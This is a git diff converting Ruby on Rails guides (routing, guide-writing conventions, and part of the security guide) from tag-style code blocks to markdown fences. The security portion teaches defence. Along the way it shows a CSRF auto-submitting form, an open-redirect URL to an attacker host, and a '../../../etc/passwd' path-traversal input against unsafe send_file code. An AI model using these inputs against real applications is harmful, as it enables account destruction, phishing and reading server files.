resources :photos, :books, :videos
-</ruby>
+```
This works exactly the same as
-<ruby>
+```ruby
resources :photos
resources :books
resources :videos
-</ruby>
+```
h4. Singular Resources
Sometimes, you have a resource that clients always look up without referencing an ID. For example, you would like +/profile+ to always show the profile of the currently logged in user. In this case, you can use a singular resource to map +/profile+ (rather than +/profile/:id+) to the +show+ action.
-<ruby>
+```ruby
get "profile" => "users#show"
-</ruby>
+```
This resourceful route
-<ruby>
+```ruby
resource :geocoder
-</ruby>
+```
creates six different routes in your application, all mapping to the +Geocoders+ controller:
@@ -160,11 +160,11 @@ h4. Controller Namespaces and Routing
You may wish to organize groups of controllers under a namespace. Most commonly, you might group a number of administrative controllers under an +Admin::+ namespace. You would place these controllers under the +app/controllers/admin+ directory, and you can group them together in your router:
-<ruby>
+```ruby
namespace :admin do
resources :posts, :comments
end
-</ruby>
+```
This will create a number of routes for each of the +posts+ and +comments+ controller. For +Admin::PostsController+, Rails will create:
@@ -179,31 +179,31 @@ This will create a number of routes for each of the +posts+ and +comments+ contr
If you want to route +/posts+ (without the prefix +/admin+) to +Admin::PostsController+, you could use
-<ruby>
+```ruby
scope :module => "admin" do
resources :posts, :comments
end
-</ruby>
+```
or, for a single case
-<ruby>
+```ruby
resources :posts, :module => "admin"
-</ruby>
+```
If you want to route +/admin/posts+ to +PostsController+ (without the +Admin::+ module prefix), you could use
-<ruby>
+```ruby
scope "/admin" do
resources :posts, :comments
end
-</ruby>
+```
or, for a single case
-<ruby>
+```ruby
resources :posts, :path => "/admin/posts"
-</ruby>
+```
In each of these cases, the named routes remain the same as if you did not use +scope+. In the last case, the following paths map to +PostsController+:
@@ -220,7 +220,7 @@ h4. Nested Resources
It's common to have resources that are logically children of other resources. For example, suppose your application includes these models:
-<ruby>
+```ruby
class Magazine < ActiveRecord::Base
has_many :ads
end
@@ -228,15 +228,15 @@ end
class Ad < ActiveRecord::Base
belongs_to :magazine
end
-</ruby>
+```
Nested routes allow you to capture this relationship in your routing. In this case, you could include this route declaration:
-<ruby>
+```ruby
resources :magazines do
resources :ads
end
-</ruby>
+```
In addition to the routes for magazines, this declaration will also route ads to an +AdsController+. The ad URLs require a magazine:
@@ -255,19 +255,19 @@ h5. Limits to Nesting
You can nest resources within other nested resources if you like. For example:
-<ruby>
+```ruby
resources :publishers do
resources :magazines do
resources :photos
end
end
-</ruby>
+```
Deeply-nested resources quickly become cumbersome. In this case, for example, the application would recognize paths such as
-<pre>
+```
/publishers/1/magazines/2/photos/3
-</pre>
+```
The corresponding route helper would be +publisher_magazine_photo_url+, requiring you to specify objects at all three levels. Indeed, this situation is confusing enough that a popular "article":http://weblog.jamisbuck.org/2007/2/5/nesting-resources by Jamis Buck proposes a rule of thumb for good Rails design:
@@ -277,7 +277,7 @@ h4. Routing concerns
Routing Concerns allows you to declare common routes that can be reused inside others resources and routes.
-<ruby>
+```ruby
concern :commentable do
resources :comments
end
@@ -285,63 +285,63 @@ end
concern :image_attachable do
resources :images, only: :index
end
-</ruby>
+```
These concerns can be used in resources to avoid code duplication and share behavior across routes.
-<ruby>
+```ruby
resources :messages, concerns: :commentable
resources :posts, concerns: [:commentable, :image_attachable]
-</ruby>
+```
Also you can use them in any place that you want inside the routes, for example in a scope or namespace call:
-<ruby>
+```ruby
namespace :posts do
concerns :commentable
end
-</ruby>
+```
h4. Creating Paths and URLs From Objects
In addition to using the routing helpers, Rails can also create paths and URLs from an array of parameters. For example, suppose you have this set of routes:
-<ruby>
+```ruby
resources :magazines do
resources :ads
end
-</ruby>
+```
When using +magazine_ad_path+, you can pass in instances of +Magazine+ and +Ad+ instead of the numeric IDs.
-<erb>
+```erb
<%= link_to "Ad details", magazine_ad_path(@magazine, @ad) %>
-</erb>
+```
You can also use +url_for+ with a set of objects, and Rails will automatically determine which route you want:
-<erb>
+```erb
<%= link_to "Ad details", url_for([@magazine, @ad]) %>
-</erb>
+```
In this case, Rails will see that +@magazine+ is a +Magazine+ and +@ad+ is an +Ad+ and will therefore use the +magazine_ad_path+ helper. In helpers like +link_to+, you can specify just the object in place of the full +url_for+ call:
-<erb>
+```erb
<%= link_to "Ad details", [@magazine, @ad] %>
-</erb>
+```
If you wanted to link to just a magazine:
-<erb>
+```erb
<%= link_to "Magazine details", @magazine %>
-</erb>
+```
For other actions, you just need to insert the action name as the first element of the array:
-<erb>
+```erb
<%= link_to "Edit Ad", [:edit, @magazine, @ad] %>
-</erb>
+```
This allows you to treat instances of your models as URLs, and is a key advantage to using the resourceful style.
@@ -353,45 +353,45 @@ h5. Adding Member Routes
To add a member route, just add a +member+ block into the resource block:
-<ruby>
+```ruby
resources :photos do
member do
get 'preview'
end
end
-</ruby>
+```
This will recognize +/photos/1/preview+ with GET, and route to the +preview+ action of +PhotosController+. It will also create the +preview_photo_url+ and +preview_photo_path+ helpers.
Within the block of member routes, each route name specifies the HTTP verb that it will recognize. You can use +get+, +patch+, +put+, +post+, or +delete+ here. If you don't have multiple +member+ routes, you can also pass +:on+ to a route, eliminating the block:
-<ruby>
+```ruby
resources :photos do
get 'preview', :on => :member
end
-</ruby>
+```
h5. Adding Collection Routes
To add a route to the collection:
-<ruby>
+```ruby
resources :photos do
collection do
get 'search'
end
end
-</ruby>
+```
This will enable Rails to recognize paths such as +/photos/search+ with GET, and route to the +search+ action of +PhotosController+. It will also create the +search_photos_url+ and +search_photos_path+ route helpers.
Just as with member routes, you can pass +:on+ to a route:
-<ruby>
+```ruby
resources :photos do
get 'search', :on => :collection
end
-</ruby>
+```
h5. A Note of Caution
@@ -409,9 +409,9 @@ h4. Bound Parameters
When you set up a regular route, you supply a series of symbols that Rails maps to parts of an incoming HTTP request. Two of these symbols are special: +:controller+ maps to the name of a controller in your application, and +:action+ maps to the name of an action within that controller. For example, consider one of the default Rails routes:
-<ruby>
+```ruby
get ':controller(/:action(/:id))'
-</ruby>
+```
If an incoming request of +/photos/show/1+ is processed by this route (because it hasn't matched any previous route in the file), then the result will be to invoke the +show+ action of the +PhotosController+, and to make the final parameter +"1"+ available as +params[:id]+. This route will also route the incoming request of +/photos+ to +PhotosController#index+, since +:action+ and +:id+ are optional parameters, denoted by parentheses.
@@ -419,17 +419,17 @@ h4. Dynamic Segments
You can set up as many dynamic segments within a regular route as you like. Anything other than +:controller+ or +:action+ will be available to the action as part of +params+. If you set up this route:
-<ruby>
+```ruby
get ':controller/:action/:id/:user_id'
-</ruby>
+```
An incoming path of +/photos/show/1/2+ will be dispatched to the +show+ action of the +PhotosController+. +params[:id]+ will be +"1"+, and +params[:user_id]+ will be +"2"+.
NOTE: You can't use +:namespace+ or +:module+ with a +:controller+ path segment. If you need to do this then use a constraint on :controller that matches the namespace you require. e.g:
-<ruby>
+```ruby
get ':controller(/:action(/:id))', :controller => /admin\/[^\/]+/
-</ruby>
+```
TIP: By default dynamic segments don't accept dots - this is because the dot is used as a separator for formatted routes. If you need to use a dot within a dynamic segment, add a constraint that overrides this – for example, +:id+ => /[^\/]+/ allows anything except a slash.
@@ -437,9 +437,9 @@ h4. Static Segments
You can specify static segments when creating a route:
-<ruby>
+```ruby
get ':controller/:action/:id/with_user/:user_id'
-</ruby>
+```
This route would respond to paths such as +/photos/show/1/with_user/2+. In this case, +params+ would be <tt>{ :controller => "photos", :action => "show", :id => "1", :user_id => "2" }</tt>.
@@ -447,9 +447,9 @@ h4. The Query String
The +params+ will also include any parameters from the query string. For example, with this route:
-<ruby>
+```ruby
get ':controller/:action/:id'
-</ruby>
+```
An incoming path of +/photos/show/1?user_id=2+ will be dispatched to the +show+ action of the +Photos+ controller. +params+ will be <tt>{ :controller => "photos", :action => "show", :id => "1", :user_id => "2" }</tt>.
@@ -457,17 +457,17 @@ h4. Defining Defaults
You do not need to explicitly use the +:controller+ and +:action+ symbols within a route. You can supply them as defaults:
-<ruby>
+```ruby
get 'photos/:id' => 'photos#show'
-</ruby>
+```
With this route, Rails will match an incoming path of +/photos/12+ to the +show+ action of +PhotosController+.
You can also define other defaults in a route by supplying a hash for the +:defaults+ option. This even applies to parameters that you do not specify as dynamic segments. For example:
-<ruby>
+```ruby
get 'photos/:id' => 'photos#show', :defaults => { :format => 'jpg' }
-</ruby>
+```
Rails would match +photos/12+ to the +show+ action of +PhotosController+, and set +params[:format]+ to +"jpg"+.
@@ -475,17 +475,17 @@ h4. Naming Routes
You can specify a name for any route using the +:as+ option.
-<ruby>
+```ruby
get 'exit' => 'sessions#destroy', :as => :logout
-</ruby>
+```
This will create +logout_path+ and +logout_url+ as named helpers in your application. Calling +logout_path+ will return +/exit+
You can also use this to override routing methods defined by resources, like this:
-<ruby>
+```ruby
get ':username', :to => "users#show", :as => :user
-</ruby>
+```
This will define a +user_path+ method that will be available in controllers, helpers and views that will go to a route such as +/bob+. Inside the +show+ action of +UsersController+, +params[:username]+ will contain the username for the user. Change +:username+ in the route definition if you do not want your parameter name to be +:username+.
@@ -493,15 +493,15 @@ h4. HTTP Verb Constraints
In general, you should use the +get+, +post+, +put+ and +delete+ methods to constrain a route to a particular verb. You can use the +match+ method with the +:via+ option to match multiple verbs at once:
-<ruby>
+```ruby
match 'photos' => 'photos#show', :via => [:get, :post]
-</ruby>
+```
You can match all verbs to a particular route using +:via => :all+:
-<ruby>
+```ruby
match 'photos' => 'photos#show', :via => :all
-</ruby>
+```
You should avoid routing all verbs to an action unless you have a good reason to, as routing both +GET+ requests and +POST+ requests to a single action has security implications.
@@ -509,30 +509,30 @@ h4. Segment Constraints
You can use the +:constraints+ option to enforce a format for a dynamic segment:
-<ruby>
+```ruby
get 'photos/:id' => 'photos#show', :constraints => { :id => /[A-Z]\d{5}/ }
-</ruby>
+```
This route would match paths such as +/photos/A12345+. You can more succinctly express the same route this way:
-<ruby>
+```ruby
get 'photos/:id' => 'photos#show', :id => /[A-Z]\d{5}/
-</ruby>
+```
+:constraints+ takes regular expressions with the restriction that regexp anchors can't be used. For example, the following route will not work:
-<ruby>
+```ruby
get '/:id' => 'posts#show', :constraints => {:id => /^\d/}
-</ruby>
+```
However, note that you don't need to use anchors because all routes are anchored at the start.
For example, the following routes would allow for +posts+ with +to_param+ values like +1-hello-world+ that always begin with a number and +users+ with +to_param+ values like +david+ that never begin with a number to share the root namespace:
-<ruby>
+```ruby
get '/:id' => 'posts#show', :constraints => { :id => /\d.+/ }
get '/:username' => 'users#show'
-</ruby>
+```
h4. Request-Based Constraints
@@ -540,25 +540,25 @@ You can also constrain a route based on any method on the <a href="action_contro
You specify a request-based constraint the same way that you specify a segment constraint:
-<ruby>
+```ruby
get "photos", :constraints => {:subdomain => "admin"}
-</ruby>
+```
You can also specify constraints in a block form:
-<ruby>
+```ruby
namespace :admin do
constraints :subdomain => "admin" do
resources :photos
end
end
-</ruby>
+```
h4. Advanced Constraints
If you have a more advanced constraint, you can provide an object that responds to +matches?+ that Rails should use. Let's say you wanted to route all users on a blacklist to the +BlacklistController+. You could do:
-<ruby>
+```ruby
class BlacklistConstraint
def initialize
@ips = Blacklist.retrieve_ips
@@ -573,16 +573,16 @@ TwitterClone::Application.routes.draw do
get "*path" => "blacklist#index",
:constraints => BlacklistConstraint.new
end
-</ruby>
+```
You can also specify constraints as a lambda:
-<ruby>
+```ruby
TwitterClone::Application.routes.draw do
get "*path" => "blacklist#index",
:constraints => lambda { |request| Blacklist.retrieve_ips.include?(request.remote_ip) }
end
-</ruby>
+```
Both the +matches?+ method and the lambda gets the +request+ object as an argument.
@@ -590,66 +590,66 @@ h4. Route Globbing
Route globbing is a way to specify that a particular parameter should be matched to all the remaining parts of a route. For example
-<ruby>
+```ruby
get 'photos/*other' => 'photos#unknown'
-</ruby>
+```
This route would match +photos/12+ or +/photos/long/path/to/12+, setting +params[:other]+ to +"12"+ or +"long/path/to/12"+.
Wildcard segments can occur anywhere in a route. For example,
-<ruby>
+```ruby
get 'books/*section/:title' => 'books#show'
-</ruby>
+```
would match +books/some/section/last-words-a-memoir+ with +params[:section]+ equals +"some/section"+, and +params[:title]+ equals +"last-words-a-memoir"+.
Technically a route can have even more than one wildcard segment. The matcher assigns segments to parameters in an intuitive way. For example,
-<ruby>
+```ruby
get '*a/foo/*b' => 'test#index'
-</ruby>
+```
would match +zoo/woo/foo/bar/baz+ with +params[:a]+ equals +"zoo/woo"+, and +params[:b]+ equals +"bar/baz"+.
NOTE: Starting from Rails 3.1, wildcard routes will always match the optional format segment by default. For example if you have this route:
-<ruby>
+```ruby
get '*pages' => 'pages#show'
-</ruby>
+```
NOTE: By requesting +"/foo/bar.json"+, your +params[:pages]+ will be equals to +"foo/bar"+ with the request format of JSON. If you want the old 3.0.x behavior back, you could supply +:format => false+ like this:
-<ruby>
+```ruby
get '*pages' => 'pages#show', :format => false
-</ruby>
+```
NOTE: If you want to make the format segment mandatory, so it cannot be omitted, you can supply +:format => true+ like this:
-<ruby>
+```ruby
get '*pages' => 'pages#show', :format => true
-</ruby>
+```
h4. Redirection
You can redirect any path to another path using the +redirect+ helper in your router:
-<ruby>
+```ruby
get "/stories" => redirect("/posts")
-</ruby>
+```
You can also reuse dynamic segments from the match in the path to redirect to:
-<ruby>
+```ruby
get "/stories/:name" => redirect("/posts/%{name}")
-</ruby>
+```
You can also provide a block to redirect, which receives the params and the request object:
-<ruby>
+```ruby
get "/stories/:name" => redirect {|params, req| "/posts/#{params[:name].pluralize}" }
get "/stories" => redirect {|p, req| "/posts/#{req.subdomain}" }
-</ruby>
+```
Please note that this redirection is a 301 "Moved Permanently" redirect. Keep in mind that some web browsers or proxy servers will cache this type of redirect, making the old page inaccessible.
@@ -659,9 +659,9 @@ h4. Routing to Rack Applications
Instead of a String, like +"posts#index"+, which corresponds to the +index+ action in the +PostsController+, you can specify any <a href="rails_on_rack.html">Rack application</a> as the endpoint for a matcher.
-<ruby>
+```ruby
match "/application.js" => Sprockets, :via => :all
-</ruby>
+```
As long as +Sprockets+ responds to +call+ and returns a <tt>[status, headers, body]</tt>, the router won't know the difference between the Rack application and an action. This is an appropriate use of +:via => :all+, as you will want to allow your Rack application to handle all verbs as it considers appropriate.
@@ -671,10 +671,10 @@ h4. Using +root+
You can specify what Rails should route +"/"+ to with the +root+ method:
-<ruby>
+```ruby
root :to => 'pages#main'
root 'pages#main' # shortcut for the above
-</ruby>
+```
You should put the +root+ route at the top of the file, because it is the most popular route and should be matched first. You also need to delete the +public/index.html+ file for the root route to take effect.
@@ -684,9 +684,9 @@ h4. Unicode character routes
You can specify unicode character routes directly. For example
-<ruby>
+```ruby
match 'こんにちは' => 'welcome#index'
-</ruby>
+```
h3. Customizing Resourceful Routes
@@ -696,9 +696,9 @@ h4. Specifying a Controller to Use
The +:controller+ option lets you explicitly specify a controller to use for the resource. For example:
-<ruby>
+```ruby
resources :photos, :controller => "images"
-</ruby>
+```
will recognize incoming paths beginning with +/photos+ but route to the +Images+ controller:
@@ -717,20 +717,20 @@ h4. Specifying Constraints
You can use the +:constraints+ option to specify a required format on the implicit +id+. For example:
-<ruby>
+```ruby
resources :photos, :constraints => {:id => /[A-Z][A-Z][0-9]+/}
-</ruby>
+```
This declaration constrains the +:id+ parameter to match the supplied regular expression. So, in this case, the router would no longer match +/photos/1+ to this route. Instead, +/photos/RR27+ would match.
You can specify a single constraint to apply to a number of routes by using the block form:
-<ruby>
+```ruby
constraints(:id => /[A-Z][A-Z][0-9]+/) do
resources :photos
resources :accounts
end
-</ruby>
+```
NOTE: Of course, you can use the more advanced constraints available in non-resourceful routes in this context.
@@ -740,9 +740,9 @@ h4. Overriding the Named Helpers
The +:as+ option lets you override the normal naming for the named route helpers. For example:
-<ruby>
+```ruby
resources :photos, :as => "images"
-</ruby>
+```
will recognize incoming paths beginning with +/photos+ and route the requests to +PhotosController+, but use the value of the :as option to name the helpers.
@@ -759,50 +759,50 @@ h4. Overriding the +new+ and +edit+ Segments
The +:path_names+ option lets you override the automatically-generated "new" and "edit" segments in paths:
-<ruby>
+```ruby
resources :photos, :path_names => { :new => 'make', :edit => 'change' }
-</ruby>
+```
This would cause the routing to recognize paths such as
-<plain>
+```
/photos/make
/photos/1/change
-</plain>
+```
NOTE: The actual action names aren't changed by this option. The two paths shown would still route to the +new+ and +edit+ actions.
TIP: If you find yourself wanting to change this option uniformly for all of your routes, you can use a scope.
-<ruby>
+```ruby
scope :path_names => { :new => "make" } do
# rest of your routes
end
-</ruby>
+```
h4. Prefixing the Named Route Helpers
You can use the +:as+ option to prefix the named route helpers that Rails generates for a route. Use this option to prevent name collisions between routes using a path scope.
-<ruby>
+```ruby
scope "admin" do
resources :photos, :as => "admin_photos"
end
resources :photos
-</ruby>
+```
This will provide route helpers such as +admin_photos_path+, +new_admin_photo_path+ etc.
To prefix a group of route helpers, use +:as+ with +scope+:
-<ruby>
+```ruby
scope "admin", :as => "admin" do
resources :photos, :accounts
end
resources :photos, :accounts
-</ruby>
+```
This will generate routes such as +admin_photos_path+ and +admin_accounts_path+ which map to +/admin/photos+ and +/admin/accounts+ respectively.
@@ -810,11 +810,11 @@ NOTE: The +namespace+ scope will automatically add +:as+ as well as +:module+ an
You can prefix routes with a named parameter also:
-<ruby>
+```ruby
scope ":username" do
resources :posts
end
-</ruby>
+```
This will provide you with URLs such as +/bob/posts/1+ and will allow you to reference the +username+ part of the path as +params[:username]+ in controllers, helpers and views.
@@ -822,17 +822,17 @@ h4. Restricting the Routes Created
By default, Rails creates routes for the seven default actions (index, show, new, create, edit, update, and destroy) for every RESTful route in your application. You can use the +:only+ and +:except+ options to fine-tune this behavior. The +:only+ option tells Rails to create only the specified routes:
-<ruby>
+```ruby
resources :photos, :only => [:index, :show]
-</ruby>
+```
Now, a +GET+ request to +/photos+ would succeed, but a +POST+ request to +/photos+ (which would ordinarily be routed to the +create+ action) will fail.
The +:except+ option specifies a route or list of routes that Rails should _not_ create:
-<ruby>
+```ruby
resources :photos, :except => :destroy
-</ruby>
+```
In this case, Rails will create all of the normal routes except the route for +destroy+ (a +DELETE+ request to +/photos/:id+).
@@ -842,11 +842,11 @@ h4. Translated Paths
Using +scope+, we can alter path names generated by resources:
-<ruby>
+```ruby
scope(:path_names => { :new => "neu", :edit => "bearbeiten" }) do
resources :categories, :path => "kategorien"
end
-</ruby>
+```
Rails now creates routes to the +CategoriesController+.
@@ -863,21 +863,21 @@ h4. Overriding the Singular Form
If you want to define the singular form of a resource, you should add additional rules to the +Inflector+.
-<ruby>
+```ruby
ActiveSupport::Inflector.inflections do |inflect|
inflect.irregular 'tooth', 'teeth'
end
-</ruby>
+```
h4(#nested-names). Using +:as+ in Nested Resources
The +:as+ option overrides the automatically-generated name for the resource in nested route helpers. For example,
-<ruby>
+```ruby
resources :magazines do
resources :ads, :as => 'periodical_ads'
end
-</ruby>
+```
This will create routing helpers such as +magazine_periodical_ads_url+ and +edit_magazine_periodical_ad_path+.
@@ -898,18 +898,18 @@ Both methods will list all of your routes, in the same order that they appear in
For example, here's a small section of the +rake routes+ output for a RESTful route:
-<pre>
+```
users GET /users(.:format) users#index
POST /users(.:format) users#create
new_user GET /users/new(.:format) users#new
edit_user GET /users/:id/edit(.:format) users#edit
-</pre>
+```
You may restrict the listing to the routes that map to a particular controller setting the +CONTROLLER+ environment variable:
-<shell>
+```shell
$ CONTROLLER=users rake routes
-</shell>
+```
TIP: You'll find that the output from +rake routes+ is much more readable if you widen your terminal window until the output lines don't wrap.
@@ -925,29 +925,29 @@ h5. The +assert_generates+ Assertion
+assert_generates+ asserts that a particular set of options generate a particular path and can be used with default routes or custom routes.
-<ruby>
+```ruby
assert_generates "/photos/1", { :controller => "photos", :action => "show", :id => "1" }
assert_generates "/about", :controller => "pages", :action => "about"
-</ruby>
+```
h5. The +assert_recognizes+ Assertion
+assert_recognizes+ is the inverse of +assert_generates+. It asserts that a given path is recognized and routes it to a particular spot in your application.
-<ruby>
+```ruby
assert_recognizes({ :controller => "photos", :action => "show", :id => "1" }, "/photos/1")
-</ruby>
+```
You can supply a +:method+ argument to specify the HTTP verb:
-<ruby>
+```ruby
assert_recognizes({ :controller => "photos", :action => "create" }, { :path => "photos", :method => :post })
-</ruby>
+```
h5. The +assert_routing+ Assertion
The +assert_routing+ assertion checks the route both ways: it tests that the path generates the options, and that the options generate the path. Thus, it combines the functions of +assert_generates+ and +assert_recognizes+.
-<ruby>
+```ruby
assert_routing({ :path => "photos", :method => :post }, { :controller => "photos", :action => "create" })
-</ruby>
+```
diff --git a/guides/source/ruby_on_rails_guides_guidelines.md b/guides/source/ruby_on_rails_guides_guidelines.md
index dd209b61d6..3b2a95abf0 100644
--- a/guides/source/ruby_on_rails_guides_guidelines.md
+++ b/guides/source/ruby_on_rails_guides_guidelines.md
@@ -18,16 +18,16 @@ The title of every guide uses +h2+; guide sections use +h3+; subsections +h4+; e
Capitalize all words except for internal articles, prepositions, conjunctions, and forms of the verb to be:
-<plain>
+```
h5. Middleware Stack is an Array
h5. When are Objects Saved?
-</plain>
+```
Use the same typography as in regular text:
-<plain>
+```
h6. The <tt>:content_type</tt> Option
-</plain>
+```
h3. API Documentation Guidelines
@@ -46,24 +46,24 @@ h4. Generation
To generate all the guides, just +cd+ into the *+guides+* directory and execute:
-<plain>
+```
bundle exec rake guides:generate
-</plain>
+```
or
-<plain>
+```
bundle exec rake guides:generate:html
-</plain>
+```
(You may need to run +bundle install+ first to install the required gems.)
To process +my_guide.textile+ and nothing else use the +ONLY+ environment variable:
-<plain>
+```
touch my_guide.textile
bundle exec rake guides:generate ONLY=my_guide
-</plain>
+```
By default, guides that have not been modified are not processed, so +ONLY+ is rarely needed in practice.
@@ -73,23 +73,23 @@ It is also recommended that you work with +WARNINGS=1+. This detects duplicate I
If you want to generate guides in a language other than English, you can keep them in a separate directory under +source+ (eg. <tt>source/es</tt>) and use the +GUIDES_LANGUAGE+ environment variable:
-<plain>
+```
bundle exec rake guides:generate GUIDES_LANGUAGE=es
-</plain>
+```
If you want to see all the environment variables you can use to configure the generation script just run:
-<plain>
+```
rake
-</plain>
+```
h4. Validation
Please validate the generated HTML with:
-<plain>
+```
bundle exec rake guides:validate
-</plain>
+```
Particularly, titles get an ID generated from their content and this often leads to duplicates. Please set +WARNINGS=1+ when generating guides to detect them. The warning messages suggest a solution.
@@ -99,6 +99,6 @@ h4(#generation-kindle). Generation
To generate guides for the Kindle, use the following rake task:
-<plain>
+```
bundle exec rake guides:generate:kindle
-</plain>
+```
diff --git a/guides/source/security.md b/guides/source/security.md
index 4c6c78a353..200601d574 100644
--- a/guides/source/security.md
+++ b/guides/source/security.md
@@ -37,10 +37,10 @@ Rails will create a new session automatically if a new user accesses the applica
A session usually consists of a hash of values and a session id, usually a 32-character string, to identify the hash. Every cookie sent to the client's browser includes the session id. And the other way round: the browser will send it to the server on every request from the client. In Rails you can save and retrieve values using the session method:
-<ruby>
+```ruby
session[:user_id] = @current_user.id
User.find(session[:user_id])
-</ruby>
+```
h4. Session id
@@ -58,9 +58,9 @@ Hence, the cookie serves as temporary authentication for the web application. Ev
* Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. This is one more reason not to work from a coffee shop. For the web application builder this means to _(highlight)provide a secure connection over SSL_. In Rails 3.1 and later, this could be accomplished by always forcing SSL connection in your application config file:
-<ruby>
+```ruby
config.force_ssl = true
-</ruby>
+```
* Most people don't clear out the cookies after working at a public terminal. So if the last user didn't log out of a web application, you would be able to use it as this user. Provide the user with a _(highlight)log-out button_ in the web application, and _(highlight)make it prominent_.
@@ -91,12 +91,12 @@ Rails 2 introduced a new default session storage, CookieStore. CookieStore saves
That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So _(highlight)don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters_. Put the secret in your environment.rb:
-<ruby>
+```ruby
config.action_dispatch.session = {
:key => '_app_session',
:secret => '0x0dkfj3927dkc7djdh36rkckdfzsg...'
}
-</ruby>
+```
There are, however, derivatives of CookieStore which encrypt the session hash, so the client cannot see it.
@@ -137,9 +137,9 @@ TIP: _One line of code will protect you from session fixation._
The most effective countermeasure is to _(highlight)issue a new session identifier_ and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails:
-<ruby>
+```ruby
reset_session
-</ruby>
+```
If you use the popular RestfulAuthentication plugin for user management, add reset_session to the SessionsController#create action. Note that this removes any value from the session, _(highlight)you have to transfer them to the new session_.
@@ -151,7 +151,7 @@ NOTE: _Sessions that never expire extend the time-frame for attacks such as cros
One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to _(highlight)expire sessions in a database table_. Call +Session.sweep("20 minutes")+ to expire sessions that were used longer than 20 minutes ago.
-<ruby>
+```ruby
class Session < ActiveRecord::Base
def self.sweep(time = 1.hour)
if time.is_a?(String)
@@ -161,14 +161,14 @@ class Session < ActiveRecord::Base
delete_all "updated_at < '#{time.ago.to_s(:db)}'"
end
end
-</ruby>
+```
The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a created_at column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above:
-<ruby>
+```ruby
delete_all "updated_at < '#{time.ago.to_s(:db)}' OR
created_at < '#{2.days.ago.to_s(:db)}'"
-</ruby>
+```
h3. Cross-Site Request Forgery (CSRF)
@@ -209,7 +209,7 @@ If your web application is RESTful, you might be used to additional HTTP verbs,
_(highlight)POST requests can be sent automatically, too_. Here is an example for a link which displays www.harmless.com as destination in the browser's status bar. In fact it dynamically creates a new form that sends a POST request.
-<html>
+```html
<a href="http://www.harmless.com/" onclick="
var f = document.createElement('form');
f.style.display = 'none';
@@ -218,30 +218,30 @@ _(highlight)POST requests can be sent automatically, too_. Here is an example fo
f.action = 'http://www.example.com/account/destroy';
f.submit();
return false;">To the harmless survey</a>
-</html>
+```
Or the attacker places the code into the onmouseover event handler of an image:
-<html>
+```html
<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />
-</html>
+```
There are many other possibilities, including Ajax to attack the victim in the background.
The _(highlight)solution to this is including a security token in non-GET requests_ which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller:
-<ruby>
+```ruby
protect_from_forgery :secret => "123456789012345678901234567890..."
-</ruby>
+```
This will automatically include a security token, calculated from the current session and the server-side secret, in all forms and Ajax requests generated by Rails. You won't need the secret, if you use CookieStorage as session storage. If the security token doesn't match what was expected, the session will be reset. *Note:* In Rails versions prior to 3.0.4, this raised an <tt>ActionController::InvalidAuthenticityToken</tt> error.
It is common to use persistent cookies to store user information, with +cookies.permanent+ for example. In this case, the cookies will not be cleared and the out of the box CSRF protection will not be effective. If you are using a different cookie store than the session for this information, you must handle what to do with it yourself:
-<ruby>
+```ruby
def handle_unverified_request
super
sign_out_user # Example method that will destroy the user cookies.
end
-</ruby>
+```
The above method can be placed in the +ApplicationController+ and will be called when a CSRF token is not present on a non-GET request.
@@ -257,17 +257,17 @@ WARNING: _Redirection in a web application is an underestimated cracker tool: No
Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: http://www.example.com/site/redirect?to= www.attacker.com. Here is an example of a legacy action:
-<ruby>
+```ruby
def legacy
redirect_to(params.update(:action=>'main'))
end
-</ruby>
+```
This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can exploited by an attacker if he includes a host key in the URL:
-<plain>
+```
http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com
-</plain>
+```
If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to _(highlight)include only the expected parameters in a legacy action_ (again a whitelist approach, as opposed to removing unexpected parameters). _(highlight)And if you redirect to an URL, check it with a whitelist or a regular expression_.
@@ -287,7 +287,7 @@ Many web applications allow users to upload files. _(highlight)File names, which
When filtering user input file names, _(highlight)don't try to remove malicious parts_. Think of a situation where the web application removes all “../” in a file name and an attacker uses a string such as “....//” - the result will be “../”. It is best to use a whitelist approach, which _(highlight)checks for the validity of a file name with a set of accepted characters_. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the "attachment_fu plugin":https://github.com/technoweenie/attachment_fu/tree/master:
-<ruby>
+```ruby
def sanitize_filename(filename)
filename.strip.tap do |name|
# NOTE: File.basename doesn't work right with Windows paths on Unix
@@ -298,7 +298,7 @@ def sanitize_filename(filename)
name.gsub! /[^\w\.\-]/, '_'
end
end
-</ruby>
+```
A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its _(highlight)vulnerability to denial-of-service attacks_. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.
@@ -318,19 +318,19 @@ NOTE: _Make sure users cannot download arbitrary files._
Just as you have to filter file names for uploads, you have to do so for downloads. The send_file() method sends files from the server to the client. If you use a file name, that the user entered, without filtering, any file can be downloaded:
-<ruby>
+```ruby
send_file('/var/www/uploads/' + params[:filename])
-</ruby>
+```
Simply pass a file name like “../../../etc/passwd” to download the server's login information. A simple solution against this, is to _(highlight)check that the requested file is in the expected directory_:
-<ruby>
+```ruby
basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files'))
filename = File.expand_path(File.join(basename, @file.public_filename))
raise if basename !=
File.expand_path(File.join(File.dirname(filename), '../../../'))
